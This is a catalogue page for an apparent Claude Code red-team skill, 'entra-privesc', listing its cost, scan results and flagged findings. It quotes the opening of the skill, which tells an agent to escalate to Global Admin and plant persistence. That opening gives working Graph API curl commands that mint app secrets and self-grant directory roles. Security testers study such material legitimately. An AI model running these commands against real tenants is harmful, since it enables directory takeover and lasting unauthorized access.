entra-privesc

entra-privesc is a skill for Claude Code from PurpleAILAB/Decepticon. It costs 62 tokens per session (2,870 once invoked), scanned A, original, Apache-2.0.

A Microsoft Entra privilege-escalation and persistence playbook for accounts that already have some directory access. It describes paths involving application ownership, service principals, groups, administrative units, and hybrid identity systems.

In plain words
What is it for?
Auditing app and group ownership, reviewing Graph permissions, testing role-assignment paths, and assessing hybrid identity configurations.
Why use it?
It helps security testers find ways limited permissions could lead to broader directory control or survive password changes. The guide focuses on relationships and permissions that are easy to overlook.

Skill for Claude Code

Written for Claude Code: allowed-tools in frontmatter.

Good fit Auditing app and group ownership, reviewing Graph permissions, testing role-assignment paths, and assessing hybrid identity configurations.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/purpleailab/decepticon/entra-privesc
About the project

Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.

PurpleAILAB/Decepticon · 5,491 stars · on GitHub · decepticon.red

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add PurpleAILAB/Decepticon --skill entra-privesc
Clone the repo
git clone --depth 1 https://github.com/PurpleAILAB/Decepticon

Made for: Claude Code.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for entra-privesc

README.md
[![agentmods](https://agentmods.dev/badge/skills/purpleailab/decepticon/entra-privesc/github.svg)](https://agentmods.dev/skills/purpleailab/decepticon/entra-privesc)
Your own site
<a href="https://agentmods.dev/skills/purpleailab/decepticon/entra-privesc"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/entra-privesc/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for entra-privesc

Your own site · 80×15
<a href="https://agentmods.dev/skills/purpleailab/decepticon/entra-privesc"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/entra-privesc.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 62 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,870 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 7 findings, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high YARA Match · line 127
    YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).
    Fix: Remove the malware payload or compromised file entirely. Investigate how it entered the skill and audit all other artifacts for additional indicators of compromise.
  • high Rogue Agent · line 177
    Skill modifies its own code, configuration, or behavior at runtime. Self-modification enables an agent to escalate privileges, disable safety constraints, or install persistent backdoors.
    Fix: Prevent the skill from modifying its own code, SKILL.md, or configuration files. Treat skill files as read-only at runtime.
  • high YARA Match · line 185
    YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).
    Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
  • medium Data Exfiltration · line 29
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
  • medium Data Exfiltration · line 62
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
  • medium Data Exfiltration · line 83
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
  • medium Data Exfiltration · line 99
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00062 $0.02870
Opus 5 $0.00031 $0.01435
Sonnet 5 $0.00012 $0.00574
Haiku 4.5 $0.00006 $0.00287

Measured 9d ago against content hash 4c4f8a211387, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade A, and why

entra-privesc scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -s -H "Authorization: Bearer $TOKEN" \
packages/decepticon/decepticon/skills/standard/cloud/entra-privesc/SKILL.md · 202 lines

How it starts

The opening of the file, as written. The whole thing — 202 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Entra Privilege Escalation & Persistence

You have a token with non-trivial permissions in Entra ID. Walk the escalation graph to Global Admin / org takeover, then plant persistence that survives password resets.

Phase 0: Map current privileges

TOKEN=<MS_GRAPH_TOKEN>
# Roles I directly hold
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://graph.microsoft.com/v1.0/me/memberOf?\$select=displayName,roleTemplateId" | jq .

# Apps I OWN (owners can mint credentials)
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://graph.microsoft.com/v1.0/me/ownedObjects" | jq '.value[]|{type:.["@odata.type"],id,name:.displayName}'

# Groups where I'm an owner (can add members)
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://graph.microsoft.com/v1.0/me/ownedObjects?\$filter=isof('microsoft.graph.group')"

Phase 1: App role / app owner abuse

Owner → credential addition → app's directory roles

APP_OBJ=<APP_OBJECT_ID>     # not appId — objectId of the Application
# Mint a 2-year client secret on an app you OWN:
curl -s -X POST -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  "https://graph.microsoft.com/v1.0/applications/${APP_OBJ}/addPassword" \
  -d '{"passwordCredential":{"displayName":"backup-cred","endDateTime":"2027-01-01T00:00:00Z"}}'
# Returned secretText -> auth as the service principal:
curl -s -X POST "https://login.microsoftonline.com/<TENANT>/oauth2/v2.0/token" \
  -d "client_id=<APP_ID>&client_secret=<SECRET>&grant_type=client_credentials&scope=https://graph.microsoft.com/.default"

If the target SP has any of these app roles, you have GA-equivalent:

  • RoleManagement.ReadWrite.Directory
  • Application.ReadWrite.All
  • AppRoleAssignment.ReadWrite.All
  • Directory.ReadWrite.All (limited but powerful)

Adding a high-priv app role to your SP

# Find the Microsoft Graph SP objectId and the role:
GRAPH_SP=$(curl -s -H "Authorization: Bearer $TOKEN" \
  "https://graph.microsoft.com/v1.0/servicePrincipals?\$filter=appId eq '00000003-0000-0000-c000-000000000000'" | jq -r '.value[0].id')
ROLE_ID=$(curl -s -H "Authorization: Bearer $TOKEN" \
  "https://graph.microsoft.com/v1.0/servicePrincipals/${GRAPH_SP}" \
  | jq -r '.appRoles[]|select(.value=="RoleManagement.ReadWrite.Directory").id')
# Grant the role to your SP (requires Application.ReadWrite.All today):
curl -s -X POST -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  "https://graph.microsoft.com/v1.0/servicePrincipals/<MY_SP>/appRoleAssignments" \
  -d "{\"principalId\":\"<MY_SP>\",\"resourceId\":\"${GRAPH_SP}\",\"appRoleId\":\"${ROLE_ID}\"}"

Read the full file on GitHub · 202 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 9d ago First seen · 202 lines · 62 tokens per session scan A 4c4f8a211387

Subscribe to this mod's changes

entra-privesc is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,491 stars, last pushed 13d ago), licensed Apache-2.0. It adds 62 tokens to every session and 2,870 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.